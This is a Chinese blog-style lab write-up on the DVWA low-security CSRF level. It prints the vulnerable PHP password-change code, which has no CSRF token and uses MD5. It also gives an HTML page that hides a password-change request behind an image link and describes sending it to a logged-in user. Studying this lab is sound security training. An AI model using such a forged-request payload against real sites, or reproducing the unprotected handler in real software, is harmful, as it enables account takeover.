CSRF初级靶场
靶场
针对DVWA么有防御
源码:
<?phpif( isset( $_GET[ 'Change' ] ) ) {// Get input$pass_new = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>
攻击
1)作为攻击者,构造攻击脚本(伪造的链接地址,外表是一个图片,底层是修改密码的请求)
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><a href="http://192.168.190.133/DVWA/vulnerabilities/csrf/?password_new=666&password_conf=666&Change=Change"><img src="gf.jpg"></a>
</body>
</html>
开始攻击
- 把伪造的链接,发给用户(前提用户已经登录系统)
- 用户点击伪造的链接,实现修改密码的攻击
相关文章:
CSRF初级靶场
靶场 针对DVWA么有防御 源码: <?phpif( isset( $_GET[ Change ] ) ) {// Get input$pass_new $_GET[ password_new ];$pass_conf $_GET[ password_conf ];// Do the passwords match?if( $pass_new $pass_conf ) {// They do!$pass_new ((isset($GLOBA…...
CSP/信奥赛C++刷题训练:经典差分例题(2):洛谷P9904 :Mieszanie kolorów
CSP/信奥赛C++刷题训练:经典差分例题(2):洛谷P9094 :Mieszanie kolorw 题目描述 题目译自 PA 2020 Runda 1 Mieszanie kolorw Byteasar 正准备给栅栏涂漆。他已经准备了 n n n 罐白色油漆,他把这些油漆排列成一排,从 1 1 1 到 n n n 编号。他想用这些油漆,但他不想…...
Java | Leetcode Java题解之第525题连续数组
题目: 题解: class Solution {public int findMaxLength(int[] nums) {int maxLength 0;Map<Integer, Integer> map new HashMap<Integer, Integer>();int counter 0;map.put(counter, -1);int n nums.length;for (int i 0; i < n;…...
YOLOv8改进 - 注意力篇 - 引入iRMB注意力机制
#YOLO# #目标检测# #计算机视觉# 一、本文介绍 作为入门性篇章,这里介绍了iRMB注意力在YOLOv8中的使用。包含iRMB原理分析,iRMB的代码、iRMB的使用方法、以及添加以后的yaml文件及运行记录。 二、iRMB原理分析 iRMB官方论文地址:文章 iR…...
项目学习总结
文章目录 项目学习总结项目中的vw适配vw使用 封装axios实例axios常见请求配置axios响应结构axios拦截器配置Vue Router全局前置守卫 项目学习总结 在智慧商城项目中的学习总结。 项目中的vw适配 vw 是一种长度单位,代表视口宽度的百分比。1vw 等于视口宽度的1%。…...
用于低成本接收机的LoRa SF11 500KHz波形检测解调算法
前一篇里,获取了LORAwan的物理层波形,并通过Octave查看了它的瞬时频率。LoRa是私有协议,网上已经有了很不错的开源的实现,如: S2_LoRa通信实验 LoRaPhy 以及GNU-Radio的Lora模块、LimeSDR的Lora实现。当我试图修改上…...
WEB防护
WEB防护的范围比较广,主要是指针对web安全而做的各种防御措施, 包含应对xss、csrf等漏洞攻击的应对方式。 Web防护是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品, 主要用于防御针对网络应用层的攻击࿰…...
使用Jest进行JavaScript单元测试
💓 博客主页:瑕疵的CSDN主页 📝 Gitee主页:瑕疵的gitee主页 ⏩ 文章专栏:《热点资讯》 使用Jest进行JavaScript单元测试 引言 Jest 简介 安装 Jest 创建基本配置 编写测试用例 运行测试 快照测试 模拟函数 代码覆盖率…...
网络安全法详细介绍——爬虫教程
目录 [TOC](目录)一、网络安全法详细介绍1. 网络安全法的主要条款与作用2. 网络安全法与爬虫的关系3. 合法使用爬虫的指南 二、爬虫的详细教程1. 准备环境与安装工具2. 使用requests库发送请求3. 解析HTML内容4. 使用robots.txt规范爬虫行为5. 设置请求间隔6. 数据清洗与存储 三…...
PCB什么情况该敷铜,什么情况不该敷铜!
更多电路设计,PCB设计分享及分析,可关注本人微信公众号“核桃设计分享”! 这个是老生常谈的问题了,可私底下还是有很多小伙伴问核桃这个问题,所以今天就好好聊一聊这个话题。 先说结论:PCB不是什么时候都可…...
标准化的企业级信息管理系统信息中心必备PHP低代码平台
谈谈企业级信息管理系统! 1. 标准化的企业级信息管理系统是信息中心必备,这才是集团该用的信息化管理系统。其有个很大特点是便于开发,能服务于企业技术中心,为其提供强大工具能力,在工具能力架构下通过流程、表单、报…...
Rust 力扣 - 1984. 学生分数的最小差值
文章目录 题目描述题解思路题解代码题目链接 题目描述 题解思路 原数组 nums 排序,遍历nums中下标为[0, nums.len() - k]的学生分数 假设当前遍历的下标为i则,以 i 下标为最小值的学生分数的最小差值为nums[i k - 1] - nums[i] 取最小差值的最小值即…...
【098】基于SpringBoot+Vue实现的垃圾分类系统
系统介绍 视频演示 基于SpringBootVue实现的垃圾分类系统 基于SpringBootVue实现的垃圾分类系统设计了三种角色、分别是管理员、垃圾分类管理员、用户,实现了个人中心、用户管理、垃圾分类管理员管理、垃圾分类管理、垃圾类型管理、垃圾图谱管理、系统管理等功能 …...
STM32CUBEIDE FreeRTOS操作教程(八):queues多队列
STM32CUBEIDE FreeRTOS操作教程(八):queues多队列 STM32CUBE开发环境集成了STM32 HAL库进行FreeRTOS配置和开发的组件,不需要用户自己进行FreeRTOS的移植。这里介绍最简化的用户操作类应用教程。以STM32F401RCT6开发板为例&#…...
SIGNAL TAP使用记录
一、首先编译工程 二、打开signal tap,并设置抓取时钟以及采样深度 二、点击set up,然后双击空白处,会弹出右侧窗口,点击filter选择pre_synthesis,这里选择综合前的信号观测,要确保左侧窗口内的信号是黑色…...
基于vue3和elementPlus的el-tree组件,实现树结构穿梭框,支持数据回显和懒加载
一、功能 功能描述 数据双向穿梭:支持从左侧向右侧转移数据,以及从右侧向左侧转移数据。懒加载支持:支持懒加载数据,适用于大数据量的情况。多种展示形式:右侧列表支持以树形结构或列表形式展示。全选与反选…...
彻底理解链表(LinkedList)结构
目录 比较操作结构封装单向链表实现面试题 循环链表实现 双向链表实现 链表(Linked List)是一种线性数据结构,由一组节点(Node)组成,每个节点包含两个部分:数据域(存储数据ÿ…...
TON 区块链开发的深入概述#TON链开发#DAPP开发#交易平台#NFT#Gamefi链游
区块链开发领域发展迅速,各种平台为开发人员提供不同的生态系统。其中一个更有趣且越来越相关的区块链是TON(开放网络)区块链。TON 区块链最初由 Telegram 构思,旨在提供快速、安全且可扩展的去中心化应用程序 (dApp)。凭借其独特…...
Hive专栏概述
Hive专栏概述 Hive“出身名门”,是最初由Facebook公司开发的数据仓库工具。它简单且容易上手,是深入学习Hadoop技术的一个很好的切入点。专栏内容包括:Hive的安装和配置,其核心组件和架构,Hive数据操作语言,…...
鼠标悬停后出现小提示框实现方法
大家在网页上会经常看到某些图标或文字,当鼠标悬停后会在四周某个位置出现一个简短的文字提示,这种提示分为两种,一种是提示固定的文字,例如放在qq图标上,会显示固定的文字“QQ”;第二种是显示鼠标所在标签…...
别再只会用`p`了!GDB调试C++结构体/类与数组的3个高级技巧与避坑指南
别再只会用p了!GDB调试C结构体/类与数组的3个高级技巧与避坑指南 调试C代码时,你是否经常遇到这样的场景:面对一个复杂对象,用p *ptr命令后,终端输出像天书一样难以理解?结构体成员挤在一起,数…...
md-wechat:让Markdown完美兼容微信公众号排版的工具实战
1. 项目概述:一个让Markdown在微信生态里“活”起来的工具如果你和我一样,是个重度Markdown爱好者,同时又需要在微信生态里频繁地分享技术文档、产品说明或者个人笔记,那你一定体会过那种割裂感。在Typora或VS Code里写得行云流水…...
WELearn网课助手:5分钟掌握智能学习,告别熬夜刷课
WELearn网课助手:5分钟掌握智能学习,告别熬夜刷课 【免费下载链接】WELearnHelper 显示WE Learn随行课堂题目答案;支持班级测试;自动答题;刷时长;基于生成式AI(ChatGPT)的答案生成 项目地址: https://git…...
ReID跨镜需人工复核,镜像视界无感定位实现全自动全链路闭环
ReID跨镜需人工复核,镜像视界无感定位实现全自动全链路闭环在全域视频感知与人员动态管控行业应用落地进程中,传统依托ReID行人重识别搭建的跨镜追踪体系,长期深陷算法识别偏差大、数据容错率低、最终必须依赖人工二次复核的运营困局…...
Godot引擎集成CEF实现Web混合渲染:gdcef项目架构与实战指南
1. 项目概述与核心价值最近在折腾一个老项目的现代化改造,需要把传统的桌面应用嵌入到Web视图中,实现混合渲染。在技术选型时,我绕不开一个名字:CEF,也就是Chromium Embedded Framework。它几乎是桌面应用内嵌浏览器控…...
TSSP77038红外解调器:从原理到实战,打造高可靠接近传感与光束中断系统
1. 项目概述:从“遥控”到“感知”的红外新思路在嵌入式开发和电子制作领域,红外(IR)技术几乎是每个玩家都会接触到的老朋友。我们最熟悉的莫过于家里的电视、空调遥控器,它们通过发射一串调制在38KHz载波上的红外脉冲…...
别只当稳压器用!用LM7805做个简易功放,驱动小喇叭实测(附电路图)
从稳压到扩音:用LM7805打造微型功放的创意实践 1. 重新认识LM7805:不只是稳压芯片 LM7805在电子爱好者心中一直是"稳压神器"的代名词,但鲜少有人意识到这颗经典三端稳压器隐藏的音频放大潜力。当我们撕掉它身上"5V稳压专用&qu…...
开源、有文档、能上线的 .NET + Vue 通用权限系统
前言在日常项目开发中,权限管理几乎是每个系统都绕不开的基础模块。从用户登录、菜单控制到数据隔离,一套稳定、灵活、可扩展的权限体系,往往决定了整个项目的成败。然而,从零开始搭建这样的平台,不仅耗时耗力…...
基于STM32G474高精度定时器HRTIM的高频开关电源移相控制实现
1. STM32G474的HRTIM为何是高频电源设计的利器 第一次接触STM32G474的高精度定时器HRTIM时,我正被DSP28335的分辨率问题困扰。当时做的1MHz开关电源项目,150MHz主频的DSP每个时钟周期只能提供150个计数点,调节精度捉襟见肘。直到发现HRTIM的5…...
AI驱动软件架构可视化:C4模型与生成式AI的融合实践
1. 项目概述:当企业架构图遇上生成式AI 最近在技术社区里,一个名为 codecentric/c4-genai-suite 的项目引起了我的注意。乍一看标题,它融合了两个看似不相关的领域:C4模型和生成式AI。C4模型,对于软件架构师和开发者…...
